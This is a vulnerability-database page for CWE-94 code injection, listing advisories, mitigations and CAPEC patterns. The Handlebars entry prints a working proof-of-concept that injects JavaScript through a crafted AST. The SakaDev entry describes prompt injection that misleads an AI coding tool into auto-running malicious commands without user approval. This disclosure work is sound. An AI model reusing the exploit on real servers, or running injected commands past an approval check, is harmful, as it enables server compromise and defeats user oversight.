CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8562 vulnerabilities reference this CWE, most recent first.
GHSA-3JXQ-4Q7M-7PFC
Vulnerability from github – Published: 2026-05-12 18:30 – Updated: 2026-05-13 18:30The _load_model() function in the neural_magic_training.py script of the optimate project in commit a6d302f912b481c94370811af6b11402f51d377f (2024-07-21) allows arbitrary code execution. When a user supplies a directory path via the --model command-line argument, the function reads a module.py file from that directory and executes its contents directly using Python's exec() function. This design does not validate or sanitize the file's content, allowing an attacker who controls the input directory to execute arbitrary Python code in the context of the process running the script.
{
"affected": [],
"aliases": [
"CVE-2026-31217"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-12T16:16:13Z",
"severity": "CRITICAL"
},
"details": "The _load_model() function in the neural_magic_training.py script of the optimate project in commit a6d302f912b481c94370811af6b11402f51d377f (2024-07-21) allows arbitrary code execution. When a user supplies a directory path via the --model command-line argument, the function reads a module.py file from that directory and executes its contents directly using Python\u0027s exec() function. This design does not validate or sanitize the file\u0027s content, allowing an attacker who controls the input directory to execute arbitrary Python code in the context of the process running the script.",
"id": "GHSA-3jxq-4q7m-7pfc",
"modified": "2026-05-13T18:30:41Z",
"published": "2026-05-12T18:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31217"
},
{
"type": "WEB",
"url": "https://github.com/nebuly-ai/optimate"
},
{
"type": "WEB",
"url": "https://www.notion.so/CVE-2026-31217-35d1e13931888179ae40dea5258d2db9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3M2X-QQJ5-5R42
Vulnerability from github – Published: 2022-05-01 23:37 – Updated: 2022-05-01 23:37Multiple PHP remote file inclusion vulnerabilities in KCWiki 1.0 allow remote attackers to execute arbitrary PHP code via a URL in the page parameter to (1) minimal/wiki.php and (2) simplest/wiki.php.
{
"affected": [],
"aliases": [
"CVE-2008-1170"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-03-05T23:44:00Z",
"severity": "MODERATE"
},
"details": "Multiple PHP remote file inclusion vulnerabilities in KCWiki 1.0 allow remote attackers to execute arbitrary PHP code via a URL in the page parameter to (1) minimal/wiki.php and (2) simplest/wiki.php.",
"id": "GHSA-3m2x-qqj5-5r42",
"modified": "2022-05-01T23:37:21Z",
"published": "2022-05-01T23:37:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-1170"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/40976"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/29218"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/3714"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/489024/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/28074"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-3M3M-Q3HW-6QQ6
Vulnerability from github – Published: 2024-05-14 15:32 – Updated: 2026-04-02 21:31The issue was addressed with improved checks. This issue is fixed in iTunes 12.13.2 for Windows. Parsing a file may lead to an unexpected app termination or arbitrary code execution.
{
"affected": [],
"aliases": [
"CVE-2024-27793"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-14T15:13:02Z",
"severity": "MODERATE"
},
"details": "The issue was addressed with improved checks. This issue is fixed in iTunes 12.13.2 for Windows. Parsing a file may lead to an unexpected app termination or arbitrary code execution.",
"id": "GHSA-3m3m-q3hw-6qq6",
"modified": "2026-04-02T21:31:39Z",
"published": "2024-05-14T15:32:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27793"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/120897"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT214099"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT214099"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/May/8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-3M4V-8V7M-FJQH
Vulnerability from github – Published: 2025-05-09 18:30 – Updated: 2025-05-10 03:30Victure RX1800 EN_V1.0.0_r12_110933 was discovered to contain a command injection vulnerability.
{
"affected": [],
"aliases": [
"CVE-2025-28203"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-09T16:15:24Z",
"severity": "CRITICAL"
},
"details": "Victure RX1800 EN_V1.0.0_r12_110933 was discovered to contain a command injection vulnerability.",
"id": "GHSA-3m4v-8v7m-fjqh",
"modified": "2025-05-10T03:30:22Z",
"published": "2025-05-09T18:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-28203"
},
{
"type": "WEB",
"url": "https://pwnit.io/2025/02/13/finding-vulnerabilities-in-wi-fi-router"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3M4W-82P4-MV9P
Vulnerability from github – Published: 2022-05-02 03:13 – Updated: 2022-05-02 03:13Apple Mac OS X 10.4.11 and 10.5 before 10.5.7 allows local users to gain privileges or cause a denial of service (application crash) by attempting to mount a crafted sparse disk image that triggers memory corruption.
{
"affected": [],
"aliases": [
"CVE-2009-0149"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-05-13T15:30:00Z",
"severity": "MODERATE"
},
"details": "Apple Mac OS X 10.4.11 and 10.5 before 10.5.7 allows local users to gain privileges or cause a denial of service (application crash) by attempting to mount a crafted sparse disk image that triggers memory corruption.",
"id": "GHSA-3m4w-82p4-mv9p",
"modified": "2022-05-02T03:13:07Z",
"published": "2022-05-02T03:13:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-0149"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/50484"
},
{
"type": "WEB",
"url": "http://lists.apple.com/archives/security-announce/2009/May/msg00002.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/35074"
},
{
"type": "WEB",
"url": "http://support.apple.com/kb/HT3549"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/34926"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/34942"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1022217"
},
{
"type": "WEB",
"url": "http://www.us-cert.gov/cas/techalerts/TA09-133A.html"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2009/1297"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-3M7F-WCPM-29MG
Vulnerability from github – Published: 2022-05-01 07:41 – Updated: 2022-05-01 07:41PHP remote file inclusion vulnerability in buycd.php in Paristemi 0.8.3 allows remote attackers to execute arbitrary PHP code via a URL in the HTTP_DOCUMENT_ROOT parameter, a different vector than CVE-2006-6689.
{
"affected": [],
"aliases": [
"CVE-2006-6739"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2006-12-26T23:28:00Z",
"severity": "HIGH"
},
"details": "PHP remote file inclusion vulnerability in buycd.php in Paristemi 0.8.3 allows remote attackers to execute arbitrary PHP code via a URL in the HTTP_DOCUMENT_ROOT parameter, a different vector than CVE-2006-6689.",
"id": "GHSA-3m7f-wcpm-29mg",
"modified": "2022-05-01T07:41:03Z",
"published": "2022-05-01T07:41:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-6739"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/2955"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/21665"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-3M99-H3HP-W9J7
Vulnerability from github – Published: 2022-05-13 01:12 – Updated: 2023-08-15 22:30Moodle through 2.3.11, 2.4.x before 2.4.11, 2.5.x before 2.5.7, 2.6.x before 2.6.4, and 2.7.x before 2.7.1 allows remote authenticated users to execute arbitrary code via a calculated question in a quiz.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "2.7.0"
},
{
"fixed": "2.7.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.7.0"
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.6.3"
},
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "2.6.0"
},
{
"fixed": "2.6.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.5.6"
},
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "2.5.0"
},
{
"fixed": "2.5.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.4.10"
},
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.0"
},
{
"fixed": "2.4.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2014-3545"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2023-08-15T22:30:28Z",
"nvd_published_at": "2014-07-29T11:10:00Z",
"severity": "MODERATE"
},
"details": "Moodle through 2.3.11, 2.4.x before 2.4.11, 2.5.x before 2.5.7, 2.6.x before 2.6.4, and 2.7.x before 2.7.1 allows remote authenticated users to execute arbitrary code via a calculated question in a quiz.",
"id": "GHSA-3m99-h3hp-w9j7",
"modified": "2023-08-15T22:30:28Z",
"published": "2022-05-13T01:12:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-3545"
},
{
"type": "WEB",
"url": "https://github.com/moodle/moodle/commit/155bc7547227dc2047cfc8630cbfe121888b359b"
},
{
"type": "WEB",
"url": "https://github.com/moodle/moodle/commit/29005a5418894b76e62e44bbc2c9e4ddee8f5ce6"
},
{
"type": "WEB",
"url": "https://github.com/moodle/moodle/commit/44f726a7b1d351b39bb2a6a30c1b30027fabd000"
},
{
"type": "WEB",
"url": "https://github.com/moodle/moodle/commit/539a25ff03fae377758d62caefcc71a2418e9a84"
},
{
"type": "WEB",
"url": "https://github.com/moodle/moodle/commit/5c6c172033e3fb4afce862f8b32b459f5c35ad19"
},
{
"type": "WEB",
"url": "https://github.com/moodle/moodle/commit/66de66fe6a8ce8f491562edad0a14f26d4808cb4"
},
{
"type": "WEB",
"url": "https://github.com/moodle/moodle/commit/770d3ce42669067eca2bcee22d142ed7fec08550"
},
{
"type": "WEB",
"url": "https://github.com/moodle/moodle/commit/82b3260eab2db58dfa9510645fd2c60ee0ce142e"
},
{
"type": "WEB",
"url": "https://github.com/moodle/moodle/commit/88ec9f308da6a4bc7a735458cdf72648357d501d"
},
{
"type": "PACKAGE",
"url": "https://github.com/moodle/moodle"
},
{
"type": "WEB",
"url": "https://github.com/moodle/moodle/blob/1474f74687dda57c7d011b92d16f25b9870d2799/question/type/calculated/question.php#L426"
},
{
"type": "WEB",
"url": "https://moodle.org/mod/forum/discuss.php?d=264266"
},
{
"type": "WEB",
"url": "http://git.moodle.org/gw?p=moodle.git\u0026a=search\u0026h=HEAD\u0026st=commit\u0026s=MDL-46148"
},
{
"type": "WEB",
"url": "http://openwall.com/lists/oss-security/2014/07/21/1"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Moodle remote code execution via quiz questions"
}
GHSA-3M9F-MRX3-G4MQ
Vulnerability from github – Published: 2026-03-30 21:31 – Updated: 2026-04-01 18:36In its design for automatic terminal command execution, SakaDev offers two options: Execute safe commands and execute all commands. The description for the former states that commands determined by the model to be safe will be automatically executed, whereas if the model judges a command to be potentially destructive, it still requires user approval. However, this design is highly susceptible to prompt injection attacks. An attacker can employ a generic template to wrap any malicious command and mislead the model into misclassifying it as a 'safe' command, thereby bypassing the user approval requirement and resulting in arbitrary command execution.
{
"affected": [],
"aliases": [
"CVE-2026-30306"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-30T21:17:08Z",
"severity": "CRITICAL"
},
"details": "In its design for automatic terminal command execution, SakaDev offers two options: Execute safe commands and execute all commands. The description for the former states that commands determined by the model to be safe will be automatically executed, whereas if the model judges a command to be potentially destructive, it still requires user approval. However, this design is highly susceptible to prompt injection attacks. An attacker can employ a generic template to wrap any malicious command and mislead the model into misclassifying it as a \u0027safe\u0027 command, thereby bypassing the user approval requirement and resulting in arbitrary command execution.",
"id": "GHSA-3m9f-mrx3-g4mq",
"modified": "2026-04-01T18:36:34Z",
"published": "2026-03-30T21:31:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30306"
},
{
"type": "WEB",
"url": "https://github.com/Secsys-FDU/LLM-Tool-Calling-CVEs/issues/4"
},
{
"type": "WEB",
"url": "https://marketplace.visualstudio.com/items?itemName=rahmanazhar.saka-dev"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3M9X-QJWR-9H5X
Vulnerability from github – Published: 2024-04-19 18:31 – Updated: 2024-04-19 18:31Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability
{
"affected": [],
"aliases": [
"CVE-2024-29991"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-19T17:15:54Z",
"severity": "MODERATE"
},
"details": "Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability",
"id": "GHSA-3m9x-qjwr-9h5x",
"modified": "2024-04-19T18:31:15Z",
"published": "2024-04-19T18:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29991"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-29991"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-3MFM-83XF-C92R
Vulnerability from github – Published: 2026-03-27 18:20 – Updated: 2026-03-27 21:52Summary
The @partial-block special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites @partial-block with a crafted Handlebars AST, a subsequent invocation of {{> @partial-block}} compiles and executes that AST, enabling arbitrary JavaScript execution on the server.
Description
Handlebars stores @partial-block in the data frame that is accessible to templates. In nested contexts, a parent frame's @partial-block is reachable as @_parent.partial-block. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite @partial-block with an attacker-controlled value.
When {{> @partial-block}} is subsequently evaluated, invokePartial receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to dynamically compiling the value via env.compile(). If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.
The handlebars-helpers npm package (commonly used with Handlebars) includes several helpers such as merge that can be used as the mutation primitive.
Proof of Concept
Tested with Handlebars 4.7.8 and handlebars-helpers:
const Handlebars = require('handlebars');
const merge = require('handlebars-helpers').object().merge;
Handlebars.registerHelper('merge', merge);
const vulnerableTemplate = `
{{#*inline "myPartial"}}
{{>@partial-block}}
{{>@partial-block}}
{{/inline}}
{{#>myPartial}}
{{merge @_parent partial-block=1}}
{{merge @_parent partial-block=payload}}
{{/myPartial}}
`;
const maliciousContext = {
payload: {
type: "Program",
body: [
{
type: "MustacheStatement",
depth: 0,
path: {
type: "PathExpression",
parts: ["pop"],
original: "this.pop",
// Code injected via depth field — breaks out of generated function call
depth: "0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//",
},
},
],
},
};
Handlebars.compile(vulnerableTemplate)(maliciousContext);
// Prints: VULNERABLE: RCE via @partial-block
Workarounds
- Use the runtime-only build (
require('handlebars/runtime')). Thecompile()method is absent, eliminating the vulnerable fallback path. - Audit registered helpers for any that write arbitrary values to context objects. Helpers should treat context data as read-only.
- Avoid registering helpers from third-party packages (such as
handlebars-helpers) in contexts where templates or context data can be influenced by untrusted input.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.7.8"
},
"package": {
"ecosystem": "npm",
"name": "handlebars"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.7.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33938"
],
"database_specific": {
"cwe_ids": [
"CWE-843",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T18:20:44Z",
"nvd_published_at": "2026-03-27T21:17:27Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe `@partial-block` special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites `@partial-block` with a crafted Handlebars AST, a subsequent invocation of `{{\u003e @partial-block}}` compiles and executes that AST, enabling arbitrary JavaScript execution on the server.\n\n## Description\n\nHandlebars stores `@partial-block` in the `data` frame that is accessible to templates. In nested contexts, a parent frame\u0027s `@partial-block` is reachable as `@_parent.partial-block`. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite `@partial-block` with an attacker-controlled value.\n\nWhen `{{\u003e @partial-block}}` is subsequently evaluated, `invokePartial` receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to **dynamically compiling** the value via `env.compile()`. If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.\n\nThe `handlebars-helpers` npm package (commonly used with Handlebars) includes several helpers such as `merge` that can be used as the mutation primitive.\n\n## Proof of Concept\n\nTested with Handlebars 4.7.8 and `handlebars-helpers`:\n\n```javascript\nconst Handlebars = require(\u0027handlebars\u0027);\nconst merge = require(\u0027handlebars-helpers\u0027).object().merge;\nHandlebars.registerHelper(\u0027merge\u0027, merge);\n\nconst vulnerableTemplate = `\n{{#*inline \"myPartial\"}}\n {{\u003e@partial-block}}\n {{\u003e@partial-block}}\n{{/inline}}\n{{#\u003emyPartial}}\n {{merge @_parent partial-block=1}}\n {{merge @_parent partial-block=payload}}\n{{/myPartial}}\n`;\n\nconst maliciousContext = {\n payload: {\n type: \"Program\",\n body: [\n {\n type: \"MustacheStatement\",\n depth: 0,\n path: {\n type: \"PathExpression\",\n parts: [\"pop\"],\n original: \"this.pop\",\n // Code injected via depth field \u2014 breaks out of generated function call\n depth: \"0])),function () {console.error(\u0027VULNERABLE: RCE via @partial-block\u0027);}()));//\",\n },\n },\n ],\n },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: RCE via @partial-block\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require(\u0027handlebars/runtime\u0027)`). The `compile()` method is absent, eliminating the vulnerable fallback path.\n- **Audit registered helpers** for any that write arbitrary values to context objects. Helpers should treat context data as read-only.\n- **Avoid registering helpers** from third-party packages (such as `handlebars-helpers`) in contexts where templates or context data can be influenced by untrusted input.",
"id": "GHSA-3mfm-83xf-c92r",
"modified": "2026-03-27T21:52:26Z",
"published": "2026-03-27T18:20:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-3mfm-83xf-c92r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33938"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
},
{
"type": "PACKAGE",
"url": "https://github.com/handlebars-lang/handlebars.js"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Handlebars.js has JavaScript Injection via AST Type Confusion by tampering @partial-block"
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.